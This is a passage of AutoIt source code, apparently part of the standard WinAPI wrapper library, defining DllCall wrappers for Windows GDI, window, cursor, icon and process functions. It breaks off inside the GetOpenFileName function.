Func _WinAPI_CreateSolidBitmap($HWND, $ICOLOR, $IWIDTH, $IHEIGHT, $BRGB = 1)
Local $HDC = _WinAPI_GetDC($HWND)
Local $HDESTDC = _WinAPI_CreateCompatibleDC($HDC)
Local $HBITMAP = _WinAPI_CreateCompatibleBitmap($HDC, $IWIDTH, $IHEIGHT)
Local $HOLD = _WinAPI_SelectObject($HDESTDC, $HBITMAP)
Local $TRECT = DllStructCreate($TAGRECT)
DllStructSetData($TRECT, 1, 0)
DllStructSetData($TRECT, 2, 0)
DllStructSetData($TRECT, 3, $IWIDTH)
DllStructSetData($TRECT, 4, $IHEIGHT)
If $BRGB Then
$ICOLOR = BitOR(BitAND($ICOLOR, 65280), BitShift(BitAND($ICOLOR, 255), -16), BitShift(BitAND($ICOLOR, 16711680), 16))
EndIf
Local $HBRUSH = _WinAPI_CreateSolidBrush($ICOLOR)
_WinAPI_FillRect($HDESTDC, $TRECT, $HBRUSH)
If @error Then
_WinAPI_DeleteObject($HBITMAP)
$HBITMAP = 0
EndIf
_WinAPI_DeleteObject($HBRUSH)
_WinAPI_ReleaseDC($HWND, $HDC)
_WinAPI_SelectObject($HDESTDC, $HOLD)
_WinAPI_DeleteDC($HDESTDC)
If Not $HBITMAP Then Return SetError(1, 0, 0)
Return $HBITMAP
EndFunc ;==>_WinAPI_CreateSolidBitmap
Func _WinAPI_CreateSolidBrush($NCOLOR)
Local $ARESULT = DllCall("gdi32.dll", "handle", "CreateSolidBrush", "dword", $NCOLOR)
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_CreateSolidBrush
Func _WinAPI_CreateWindowEx($IEXSTYLE, $SCLASS, $SNAME, $ISTYLE, $IX, $IY, $IWIDTH, $IHEIGHT, $HPARENT, $HMENU = 0, $HINSTANCE = 0, $PPARAM = 0)
If $HINSTANCE = 0 Then $HINSTANCE = _WinAPI_GetModuleHandle("")
Local $ARESULT = DllCall("user32.dll", "hwnd", "CreateWindowExW", "dword", $IEXSTYLE, "wstr", $SCLASS, "wstr", $SNAME, "dword", $ISTYLE, "int", $IX, "int", $IY, "int", $IWIDTH, "int", $IHEIGHT, "hwnd", $HPARENT, "handle", $HMENU, "handle", $HINSTANCE, "ptr", $PPARAM)
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_CreateWindowEx
Func _WinAPI_DefWindowProc($HWND, $IMSG, $IWPARAM, $ILPARAM)
Local $ARESULT = DllCall("user32.dll", "lresult", "DefWindowProc", "hwnd", $HWND, "uint", $IMSG, "wparam", $IWPARAM, "lparam", $ILPARAM)
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_DefWindowProc
Func _WinAPI_DeleteDC($HDC)
Local $ARESULT = DllCall("gdi32.dll", "bool", "DeleteDC", "handle", $HDC)
If @error Then Return SetError(@error, @extended, False)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_DeleteDC
Func _WinAPI_DeleteObject($HOBJECT)
Local $ARESULT = DllCall("gdi32.dll", "bool", "DeleteObject", "handle", $HOBJECT)
If @error Then Return SetError(@error, @extended, False)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_DeleteObject
Func _WinAPI_DestroyIcon($HICON)
Local $ARESULT = DllCall("user32.dll", "bool", "DestroyIcon", "handle", $HICON)
If @error Then Return SetError(@error, @extended, False)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_DestroyIcon
Func _WinAPI_DestroyWindow($HWND)
Local $ARESULT = DllCall("user32.dll", "bool", "DestroyWindow", "hwnd", $HWND)
If @error Then Return SetError(@error, @extended, False)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_DestroyWindow
Func _WinAPI_DrawEdge($HDC, $PTRRECT, $NEDGETYPE, $GRFFLAGS)
Local $ARESULT = DllCall("user32.dll", "bool", "DrawEdge", "handle", $HDC, "ptr", $PTRRECT, "uint", $NEDGETYPE, "uint", $GRFFLAGS)
If @error Then Return SetError(@error, @extended, False)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_DrawEdge
Func _WinAPI_DrawFrameControl($HDC, $PTRRECT, $NTYPE, $NSTATE)
Local $ARESULT = DllCall("user32.dll", "bool", "DrawFrameControl", "handle", $HDC, "ptr", $PTRRECT, "uint", $NTYPE, "uint", $NSTATE)
If @error Then Return SetError(@error, @extended, False)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_DrawFrameControl
Func _WinAPI_DrawIcon($HDC, $IX, $IY, $HICON)
Local $ARESULT = DllCall("user32.dll", "bool", "DrawIcon", "handle", $HDC, "int", $IX, "int", $IY, "handle", $HICON)
If @error Then Return SetError(@error, @extended, False)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_DrawIcon
Func _WinAPI_DrawIconEx($HDC, $IX, $IY, $HICON, $IWIDTH = 0, $IHEIGHT = 0, $ISTEP = 0, $HBRUSH = 0, $IFLAGS = 3)
Local $IOPTIONS
Switch $IFLAGS
Case 1
$IOPTIONS = $__WINAPICONSTANT_DI_MASK
Case 2
$IOPTIONS = $__WINAPICONSTANT_DI_IMAGE
Case 3
$IOPTIONS = $__WINAPICONSTANT_DI_NORMAL
Case 4
$IOPTIONS = $__WINAPICONSTANT_DI_COMPAT
Case 5
$IOPTIONS = $__WINAPICONSTANT_DI_DEFAULTSIZE
Case Else
$IOPTIONS = $__WINAPICONSTANT_DI_NOMIRROR
EndSwitch
Local $ARESULT = DllCall("user32.dll", "bool", "DrawIconEx", "handle", $HDC, "int", $IX, "int", $IY, "handle", $HICON, "int", $IWIDTH, "int", $IHEIGHT, "uint", $ISTEP, "handle", $HBRUSH, "uint", $IOPTIONS)
If @error Then Return SetError(@error, @extended, False)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_DrawIconEx
Func _WinAPI_DrawLine($HDC, $IX1, $IY1, $IX2, $IY2)
_WinAPI_MoveTo($HDC, $IX1, $IY1)
If @error Then Return SetError(@error, @extended, False)
_WinAPI_LineTo($HDC, $IX2, $IY2)
If @error Then Return SetError(@error, @extended, False)
Return True
EndFunc ;==>_WINAPI_DRAWLINE
Func _WinAPI_DrawText($HDC, $STEXT, ByRef $TRECT, $IFLAGS)
Local $ARESULT = DllCall("user32.dll", "int", "DrawTextW", "handle", $HDC, "wstr", $STEXT, "int", -1, "struct*", $TRECT, "uint", $IFLAGS)
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_DrawText
Func _WinAPI_DuplicateHandle($HSOURCEPROCESSHANDLE, $HSOURCEHANDLE, $HTARGETPROCESSHANDLE, $IDESIREDACCESS, $FINHERITHANDLE, $IOPTIONS)
Local $ACALL = DllCall("kernel32.dll", "bool", "DuplicateHandle", "handle", $HSOURCEPROCESSHANDLE, "handle", $HSOURCEHANDLE, "handle", $HTARGETPROCESSHANDLE, "handle*", 0, "dword", $IDESIREDACCESS, "bool", $FINHERITHANDLE, "dword", $IOPTIONS)
If @error Or Not $ACALL[0] Then Return SetError(1, @extended, 0)
Return $ACALL[4]
EndFunc ;==>_WINAPI_DUPLICATEHANDLE
Func _WinAPI_EnableWindow($HWND, $FENABLE = True)
Local $ARESULT = DllCall("user32.dll", "bool", "EnableWindow", "hwnd", $HWND, "bool", $FENABLE)
If @error Then Return SetError(@error, @extended, False)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_EnableWindow
Func _WinAPI_EnumDisplayDevices($SDEVICE, $IDEVNUM)
Local $TNAME = 0, $IFLAGS = 0, $ADEVICE[5]
If $SDEVICE <> "" Then
$TNAME = DllStructCreate("wchar Text[" & StringLen($SDEVICE) + 1 & "]")
DllStructSetData($TNAME, "Text", $SDEVICE)
EndIf
Local $TDEVICE = DllStructCreate($TAGDISPLAY_DEVICE)
Local $IDEVICE = DllStructGetSize($TDEVICE)
DllStructSetData($TDEVICE, "Size", $IDEVICE)
DllCall("user32.dll", "bool", "EnumDisplayDevicesW", "struct*", $TNAME, "dword", $IDEVNUM, "struct*", $TDEVICE, "dword", 1)
If @error Then Return SetError(@error, @extended, 0)
Local $IN = DllStructGetData($TDEVICE, "Flags")
If BitAND($IN, $__WINAPICONSTANT_DISPLAY_DEVICE_ATTACHED_TO_DESKTOP) <> 0 Then $IFLAGS = BitOR($IFLAGS, 1)
If BitAND($IN, $__WINAPICONSTANT_DISPLAY_DEVICE_PRIMARY_DEVICE) <> 0 Then $IFLAGS = BitOR($IFLAGS, 2)
If BitAND($IN, $__WINAPICONSTANT_DISPLAY_DEVICE_MIRRORING_DRIVER) <> 0 Then $IFLAGS = BitOR($IFLAGS, 4)
If BitAND($IN, $__WINAPICONSTANT_DISPLAY_DEVICE_VGA_COMPATIBLE) <> 0 Then $IFLAGS = BitOR($IFLAGS, 8)
If BitAND($IN, $__WINAPICONSTANT_DISPLAY_DEVICE_REMOVABLE) <> 0 Then $IFLAGS = BitOR($IFLAGS, 16)
If BitAND($IN, $__WINAPICONSTANT_DISPLAY_DEVICE_MODESPRUNED) <> 0 Then $IFLAGS = BitOR($IFLAGS, 32)
$ADEVICE[0] = True
$ADEVICE[1] = DllStructGetData($TDEVICE, "Name")
$ADEVICE[2] = DllStructGetData($TDEVICE, "String")
$ADEVICE[3] = $IFLAGS
$ADEVICE[4] = DllStructGetData($TDEVICE, "ID")
Return $ADEVICE
EndFunc ;==>_WinAPI_EnumDisplayDevices
Func _WinAPI_EnumWindows($FVISIBLE = True, $HWND = Default)
__WINAPI_ENUMWINDOWSINIT()
If $HWND = Default Then $HWND = _WinAPI_GetDesktopWindow()
__WINAPI_ENUMWINDOWSCHILD($HWND, $FVISIBLE)
Return $__GAWINLIST_WINAPI
EndFunc ;==>_WinAPI_EnumWindows
Func __WINAPI_ENUMWINDOWSADD($HWND, $SCLASS = "")
If $SCLASS = "" Then $SCLASS = _WinAPI_GetClassName($HWND)
$__GAWINLIST_WINAPI[0][0] += 1
Local $ICOUNT = $__GAWINLIST_WINAPI[0][0]
If $ICOUNT >= $__GAWINLIST_WINAPI[0][1] Then
ReDim $__GAWINLIST_WINAPI[$ICOUNT + 64][2]
$__GAWINLIST_WINAPI[0][1] += 64
EndIf
$__GAWINLIST_WINAPI[$ICOUNT][0] = $HWND
$__GAWINLIST_WINAPI[$ICOUNT][1] = $SCLASS
EndFunc ;==>__WINAPI_ENUMWINDOWSADD
Func __WINAPI_ENUMWINDOWSCHILD($HWND, $FVISIBLE = True)
$HWND = _WinAPI_GetWindow($HWND, $__WINAPICONSTANT_GW_CHILD)
While $HWND <> 0
If (Not $FVISIBLE) Or _WinAPI_IsWindowVisible($HWND) Then
__WINAPI_ENUMWINDOWSCHILD($HWND, $FVISIBLE)
__WINAPI_ENUMWINDOWSADD($HWND)
EndIf
$HWND = _WinAPI_GetWindow($HWND, $__WINAPICONSTANT_GW_HWNDNEXT)
WEnd
EndFunc ;==>__WINAPI_ENUMWINDOWSCHILD
Func __WINAPI_ENUMWINDOWSINIT()
ReDim $__GAWINLIST_WINAPI[64][2]
$__GAWINLIST_WINAPI[0][0] = 0
$__GAWINLIST_WINAPI[0][1] = 64
EndFunc ;==>__WINAPI_ENUMWINDOWSINIT
Func _WinAPI_EnumWindowsPopup()
__WINAPI_ENUMWINDOWSINIT()
Local $HWND = _WinAPI_GetWindow(_WinAPI_GetDesktopWindow(), $__WINAPICONSTANT_GW_CHILD)
Local $SCLASS
While $HWND <> 0
If _WinAPI_IsWindowVisible($HWND) Then
$SCLASS = _WinAPI_GetClassName($HWND)
If $SCLASS = "#32768" Then
__WINAPI_ENUMWINDOWSADD($HWND)
ElseIf $SCLASS = "ToolbarWindow32" Then
__WINAPI_ENUMWINDOWSADD($HWND)
ElseIf $SCLASS = "ToolTips_Class32" Then
__WINAPI_ENUMWINDOWSADD($HWND)
ElseIf $SCLASS = "BaseBar" Then
__WINAPI_ENUMWINDOWSCHILD($HWND)
EndIf
EndIf
$HWND = _WinAPI_GetWindow($HWND, $__WINAPICONSTANT_GW_HWNDNEXT)
WEnd
Return $__GAWINLIST_WINAPI
EndFunc ;==>_WinAPI_EnumWindowsPopup
Func _WinAPI_EnumWindowsTop()
__WINAPI_ENUMWINDOWSINIT()
Local $HWND = _WinAPI_GetWindow(_WinAPI_GetDesktopWindow(), $__WINAPICONSTANT_GW_CHILD)
While $HWND <> 0
If _WinAPI_IsWindowVisible($HWND) Then __WINAPI_ENUMWINDOWSADD($HWND)
$HWND = _WinAPI_GetWindow($HWND, $__WINAPICONSTANT_GW_HWNDNEXT)
WEnd
Return $__GAWINLIST_WINAPI
EndFunc ;==>_WinAPI_EnumWindowsTop
Func _WinAPI_ExpandEnvironmentStrings($SSTRING)
Local $ARESULT = DllCall("kernel32.dll", "dword", "ExpandEnvironmentStringsW", "wstr", $SSTRING, "wstr", "", "dword", 4096)
If @error Then Return SetError(@error, @extended, "")
Return $ARESULT[2]
EndFunc ;==>_WinAPI_ExpandEnvironmentStrings
Func _WinAPI_ExtractIconEx($SFILE, $IINDEX, $PLARGE, $PSMALL, $IICONS)
Local $ARESULT = DllCall("shell32.dll", "uint", "ExtractIconExW", "wstr", $SFILE, "int", $IINDEX, "struct*", $PLARGE, "struct*", $PSMALL, "uint", $IICONS)
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_ExtractIconEx
Func _WinAPI_FatalAppExit($SMESSAGE)
DllCall("kernel32.dll", "none", "FatalAppExitW", "uint", 0, "wstr", $SMESSAGE)
If @error Then Return SetError(@error, @extended)
EndFunc ;==>_WinAPI_FatalAppExit
Func _WinAPI_FillRect($HDC, $PTRRECT, $HBRUSH)
Local $ARESULT
If IsPtr($HBRUSH) Then
$ARESULT = DllCall("user32.dll", "int", "FillRect", "handle", $HDC, "struct*", $PTRRECT, "handle", $HBRUSH)
Else
$ARESULT = DllCall("user32.dll", "int", "FillRect", "handle", $HDC, "struct*", $PTRRECT, "dword_ptr", $HBRUSH)
EndIf
If @error Then Return SetError(@error, @extended, False)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_FillRect
Func _WinAPI_FindExecutable($SFILENAME, $SDIRECTORY = "")
Local $ARESULT = DllCall("shell32.dll", "INT", "FindExecutableW", "wstr", $SFILENAME, "wstr", $SDIRECTORY, "wstr", "")
If @error Then Return SetError(@error, @extended, 0)
Return SetExtended($ARESULT[0], $ARESULT[3])
EndFunc ;==>_WinAPI_FindExecutable
Func _WinAPI_FindWindow($SCLASSNAME, $SWINDOWNAME)
Local $ARESULT = DllCall("user32.dll", "hwnd", "FindWindowW", "wstr", $SCLASSNAME, "wstr", $SWINDOWNAME)
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_FindWindow
Func _WinAPI_FlashWindow($HWND, $FINVERT = True)
Local $ARESULT = DllCall("user32.dll", "bool", "FlashWindow", "hwnd", $HWND, "bool", $FINVERT)
If @error Then Return SetError(@error, @extended, False)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_FlashWindow
Func _WinAPI_FlashWindowEx($HWND, $IFLAGS = 3, $ICOUNT = 3, $ITIMEOUT = 0)
Local $TFLASH = DllStructCreate($TAGFLASHWINFO)
Local $IFLASH = DllStructGetSize($TFLASH)
Local $IMODE = 0
If BitAND($IFLAGS, 1) <> 0 Then $IMODE = BitOR($IMODE, $__WINAPICONSTANT_FLASHW_CAPTION)
If BitAND($IFLAGS, 2) <> 0 Then $IMODE = BitOR($IMODE, $__WINAPICONSTANT_FLASHW_TRAY)
If BitAND($IFLAGS, 4) <> 0 Then $IMODE = BitOR($IMODE, $__WINAPICONSTANT_FLASHW_TIMER)
If BitAND($IFLAGS, 8) <> 0 Then $IMODE = BitOR($IMODE, $__WINAPICONSTANT_FLASHW_TIMERNOFG)
DllStructSetData($TFLASH, "Size", $IFLASH)
DllStructSetData($TFLASH, "hWnd", $HWND)
DllStructSetData($TFLASH, "Flags", $IMODE)
DllStructSetData($TFLASH, "Count", $ICOUNT)
DllStructSetData($TFLASH, "Timeout", $ITIMEOUT)
Local $ARESULT = DllCall("user32.dll", "bool", "FlashWindowEx", "struct*", $TFLASH)
If @error Then Return SetError(@error, @extended, False)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_FlashWindowEx
Func _WinAPI_FloatToInt($NFLOAT)
Local $TFLOAT = DllStructCreate("float")
Local $TINT = DllStructCreate("int", DllStructGetPtr($TFLOAT))
DllStructSetData($TFLOAT, 1, $NFLOAT)
Return DllStructGetData($TINT, 1)
EndFunc ;==>_WinAPI_FloatToInt
Func _WinAPI_FlushFileBuffers($HFILE)
Local $ARESULT = DllCall("kernel32.dll", "bool", "FlushFileBuffers", "handle", $HFILE)
If @error Then Return SetError(@error, @extended, False)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_FlushFileBuffers
Func _WinAPI_FormatMessage($IFLAGS, $PSOURCE, $IMESSAGEID, $ILANGUAGEID, ByRef $PBUFFER, $ISIZE, $VARGUMENTS)
Local $SBUFFERTYPE = "struct*"
If IsString($PBUFFER) Then $SBUFFERTYPE = "wstr"
Local $ARESULT = DllCall("Kernel32.dll", "dword", "FormatMessageW", "dword", $IFLAGS, "ptr", $PSOURCE, "dword", $IMESSAGEID, "dword", $ILANGUAGEID, $SBUFFERTYPE, $PBUFFER, "dword", $ISIZE, "ptr", $VARGUMENTS)
If @error Then Return SetError(@error, @extended, 0)
If $SBUFFERTYPE = "wstr" Then $PBUFFER = $ARESULT[5]
Return $ARESULT[0]
EndFunc ;==>_WinAPI_FormatMessage
Func _WinAPI_FrameRect($HDC, $PTRRECT, $HBRUSH)
Local $ARESULT = DllCall("user32.dll", "int", "FrameRect", "handle", $HDC, "ptr", $PTRRECT, "handle", $HBRUSH)
If @error Then Return SetError(@error, @extended, False)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_FrameRect
Func _WinAPI_FreeLibrary($HMODULE)
Local $ARESULT = DllCall("kernel32.dll", "bool", "FreeLibrary", "handle", $HMODULE)
If @error Then Return SetError(@error, @extended, False)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_FreeLibrary
Func _WinAPI_GetAncestor($HWND, $IFLAGS = 1)
Local $ARESULT = DllCall("user32.dll", "hwnd", "GetAncestor", "hwnd", $HWND, "uint", $IFLAGS)
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_GetAncestor
Func _WinAPI_GetAsyncKeyState($IKEY)
Local $ARESULT = DllCall("user32.dll", "short", "GetAsyncKeyState", "int", $IKEY)
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_GetAsyncKeyState
Func _WinAPI_GetBkMode($HDC)
Local $ARESULT = DllCall("gdi32.dll", "int", "GetBkMode", "handle", $HDC)
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WINAPI_GETBKMODE
Func _WinAPI_GetClassName($HWND)
If Not IsHWnd($HWND) Then $HWND = GUICtrlGetHandle($HWND)
Local $ARESULT = DllCall("user32.dll", "int", "GetClassNameW", "hwnd", $HWND, "wstr", "", "int", 4096)
If @error Then Return SetError(@error, @extended, False)
Return SetExtended($ARESULT[0], $ARESULT[2])
EndFunc ;==>_WinAPI_GetClassName
Func _WinAPI_GetClientHeight($HWND)
Local $TRECT = _WinAPI_GetClientRect($HWND)
If @error Then Return SetError(@error, @extended, 0)
Return DllStructGetData($TRECT, "Bottom") - DllStructGetData($TRECT, "Top")
EndFunc ;==>_WinAPI_GetClientHeight
Func _WinAPI_GetClientWidth($HWND)
Local $TRECT = _WinAPI_GetClientRect($HWND)
If @error Then Return SetError(@error, @extended, 0)
Return DllStructGetData($TRECT, "Right") - DllStructGetData($TRECT, "Left")
EndFunc ;==>_WinAPI_GetClientWidth
Func _WinAPI_GetClientRect($HWND)
Local $TRECT = DllStructCreate($TAGRECT)
DllCall("user32.dll", "bool", "GetClientRect", "hwnd", $HWND, "struct*", $TRECT)
If @error Then Return SetError(@error, @extended, 0)
Return $TRECT
EndFunc ;==>_WinAPI_GetClientRect
Func _WinAPI_GetCurrentProcess()
Local $ARESULT = DllCall("kernel32.dll", "handle", "GetCurrentProcess")
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_GetCurrentProcess
Func _WinAPI_GetCurrentProcessID()
Local $ARESULT = DllCall("kernel32.dll", "dword", "GetCurrentProcessId")
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_GetCurrentProcessID
Func _WinAPI_GetCurrentThread()
Local $ARESULT = DllCall("kernel32.dll", "handle", "GetCurrentThread")
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_GetCurrentThread
Func _WinAPI_GetCurrentThreadId()
Local $ARESULT = DllCall("kernel32.dll", "dword", "GetCurrentThreadId")
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_GetCurrentThreadId
Func _WinAPI_GetCursorInfo()
Local $TCURSOR = DllStructCreate($TAGCURSORINFO)
Local $ICURSOR = DllStructGetSize($TCURSOR)
DllStructSetData($TCURSOR, "Size", $ICURSOR)
DllCall("user32.dll", "bool", "GetCursorInfo", "struct*", $TCURSOR)
If @error Then Return SetError(@error, @extended, 0)
Local $ACURSOR[5]
$ACURSOR[0] = True
$ACURSOR[1] = DllStructGetData($TCURSOR, "Flags") <> 0
$ACURSOR[2] = DllStructGetData($TCURSOR, "hCursor")
$ACURSOR[3] = DllStructGetData($TCURSOR, "X")
$ACURSOR[4] = DllStructGetData($TCURSOR, "Y")
Return $ACURSOR
EndFunc ;==>_WinAPI_GetCursorInfo
Func _WinAPI_GetDC($HWND)
Local $ARESULT = DllCall("user32.dll", "handle", "GetDC", "hwnd", $HWND)
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_GetDC
Func _WinAPI_GetDesktopWindow()
Local $ARESULT = DllCall("user32.dll", "hwnd", "GetDesktopWindow")
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_GetDesktopWindow
Func _WinAPI_GetDeviceCaps($HDC, $IINDEX)
Local $ARESULT = DllCall("gdi32.dll", "int", "GetDeviceCaps", "handle", $HDC, "int", $IINDEX)
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_GetDeviceCaps
Func _WinAPI_GetDIBits($HDC, $HBMP, $ISTARTSCAN, $ISCANLINES, $PBITS, $PBI, $IUSAGE)
Local $ARESULT = DllCall("gdi32.dll", "int", "GetDIBits", "handle", $HDC, "handle", $HBMP, "uint", $ISTARTSCAN, "uint", $ISCANLINES, "ptr", $PBITS, "ptr", $PBI, "uint", $IUSAGE)
If @error Then Return SetError(@error, @extended, False)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_GetDIBits
Func _WinAPI_GetDlgCtrlID($HWND)
Local $ARESULT = DllCall("user32.dll", "int", "GetDlgCtrlID", "hwnd", $HWND)
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_GetDlgCtrlID
Func _WinAPI_GetDlgItem($HWND, $IITEMID)
Local $ARESULT = DllCall("user32.dll", "hwnd", "GetDlgItem", "hwnd", $HWND, "int", $IITEMID)
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_GetDlgItem
Func _WinAPI_GetFocus()
Local $ARESULT = DllCall("user32.dll", "hwnd", "GetFocus")
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_GetFocus
Func _WinAPI_GetForegroundWindow()
Local $ARESULT = DllCall("user32.dll", "hwnd", "GetForegroundWindow")
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_GetForegroundWindow
Func _WinAPI_GetGuiResources($IFLAG = 0, $HPROCESS = -1)
If $HPROCESS = -1 Then $HPROCESS = _WinAPI_GetCurrentProcess()
Local $ARESULT = DllCall("user32.dll", "dword", "GetGuiResources", "handle", $HPROCESS, "dword", $IFLAG)
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WINAPI_GETGUIRESOURCES
Func _WinAPI_GetIconInfo($HICON)
Local $TINFO = DllStructCreate($TAGICONINFO)
DllCall("user32.dll", "bool", "GetIconInfo", "handle", $HICON, "struct*", $TINFO)
If @error Then Return SetError(@error, @extended, 0)
Local $AICON[6]
$AICON[0] = True
$AICON[1] = DllStructGetData($TINFO, "Icon") <> 0
$AICON[2] = DllStructGetData($TINFO, "XHotSpot")
$AICON[3] = DllStructGetData($TINFO, "YHotSpot")
$AICON[4] = DllStructGetData($TINFO, "hMask")
$AICON[5] = DllStructGetData($TINFO, "hColor")
Return $AICON
EndFunc ;==>_WinAPI_GetIconInfo
Func _WinAPI_GetFileSizeEx($HFILE)
Local $ARESULT = DllCall("kernel32.dll", "bool", "GetFileSizeEx", "handle", $HFILE, "int64*", 0)
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[2]
EndFunc ;==>_WinAPI_GetFileSizeEx
Func _WinAPI_GetLastErrorMessage()
Local $TBUFFERPTR = DllStructCreate("ptr")
Local $NCOUNT = _WinAPI_FormatMessage(BitOR($__WINAPICONSTANT_FORMAT_MESSAGE_ALLOCATE_BUFFER, $__WINAPICONSTANT_FORMAT_MESSAGE_FROM_SYSTEM), 0, _WinAPI_GetLastError(), 0, $TBUFFERPTR, 0, 0)
If @error Then Return SetError(@error, 0, "")
Local $STEXT = ""
Local $PBUFFER = DllStructGetData($TBUFFERPTR, 1)
If $PBUFFER Then
If $NCOUNT > 0 Then
Local $TBUFFER = DllStructCreate("wchar[" & ($NCOUNT + 1) & "]", $PBUFFER)
$STEXT = DllStructGetData($TBUFFER, 1)
EndIf
_WinAPI_LocalFree($PBUFFER)
EndIf
Return $STEXT
EndFunc ;==>_WinAPI_GetLastErrorMessage
Func _WinAPI_GetLayeredWindowAttributes($HWND, ByRef $I_TRANSCOLOR, ByRef $TRANSPARENCY, $ASCOLORREF = False)
$I_TRANSCOLOR = -1
$TRANSPARENCY = -1
Local $ARESULT = DllCall("user32.dll", "bool", "GetLayeredWindowAttributes", "hwnd", $HWND, "dword*", $I_TRANSCOLOR, "byte*", $TRANSPARENCY, "dword*", 0)
If @error Then Return SetError(@error, @extended, 0)
If Not $ASCOLORREF Then
$ARESULT[2] = Int(BinaryMid($ARESULT[2], 3, 1) & BinaryMid($ARESULT[2], 2, 1) & BinaryMid($ARESULT[2], 1, 1))
EndIf
$I_TRANSCOLOR = $ARESULT[2]
$TRANSPARENCY = $ARESULT[3]
Return $ARESULT[4]
EndFunc ;==>_WINAPI_GETLAYEREDWINDOWATTRIBUTES
Func _WinAPI_GetModuleHandle($SMODULENAME)
Local $SMODULENAMETYPE = "wstr"
If $SMODULENAME = "" Then
$SMODULENAME = 0
$SMODULENAMETYPE = "ptr"
EndIf
Local $ARESULT = DllCall("kernel32.dll", "handle", "GetModuleHandleW", $SMODULENAMETYPE, $SMODULENAME)
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_GetModuleHandle
Func _WinAPI_GetMousePos($FTOCLIENT = False, $HWND = 0)
Local $IMODE = Opt("MouseCoordMode", 1)
Local $APOS = MouseGetPos()
Opt("MouseCoordMode", $IMODE)
Local $TPOINT = DllStructCreate($TAGPOINT)
DllStructSetData($TPOINT, "X", $APOS[0])
DllStructSetData($TPOINT, "Y", $APOS[1])
If $FTOCLIENT Then
_WinAPI_ScreenToClient($HWND, $TPOINT)
If @error Then Return SetError(@error, @extended, 0)
EndIf
Return $TPOINT
EndFunc ;==>_WinAPI_GetMousePos
Func _WinAPI_GetMousePosX($FTOCLIENT = False, $HWND = 0)
Local $TPOINT = _WinAPI_GetMousePos($FTOCLIENT, $HWND)
If @error Then Return SetError(@error, @extended, 0)
Return DllStructGetData($TPOINT, "X")
EndFunc ;==>_WinAPI_GetMousePosX
Func _WinAPI_GetMousePosY($FTOCLIENT = False, $HWND = 0)
Local $TPOINT = _WinAPI_GetMousePos($FTOCLIENT, $HWND)
If @error Then Return SetError(@error, @extended, 0)
Return DllStructGetData($TPOINT, "Y")
EndFunc ;==>_WinAPI_GetMousePosY
Func _WinAPI_GetObject($HOBJECT, $ISIZE, $POBJECT)
Local $ARESULT = DllCall("gdi32.dll", "int", "GetObjectW", "handle", $HOBJECT, "int", $ISIZE, "ptr", $POBJECT)
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_GetObject
Func _WinAPI_GetOpenFileName($STITLE = "", $SFILTER = "All files (*.*)", $SINITALDIR = ".", $SDEFAULTFILE = "", $SDEFAULTEXT = "", $IFILTERINDEX = 1, $IFLAGS = 0, $IFLAGSEX = 0, $HWNDOWNER = 0)
Local $IPATHLEN = 4096
Local $INULLS = 0
Local $TOFN = DllStructCreate($TAGOPENFILENAME)
Local $AFILES[1] = [0]
Local $IFLAG = $IFLAGS
Local $ASFLINES = StringSplit($SFILTER, "|")
Local $ASFILTER[$ASFLINES[0] * 2 + 1]
Local $ISTART, $IFINAL, $STFILTER
$ASFILTER[0] = $ASFLINES[0] * 2
For $I = 1 To $ASFLINES[0]
$ISTART = StringInStr($ASFLINES[$I], "(", 0, 1)
$IFINAL = StringInStr($ASFLINES[$I], ")", 0, -1)
$ASFILTER[$I * 2 - 1] = StringStripWS(StringLeft($ASFLINES[$I], $ISTART - 1), 3)
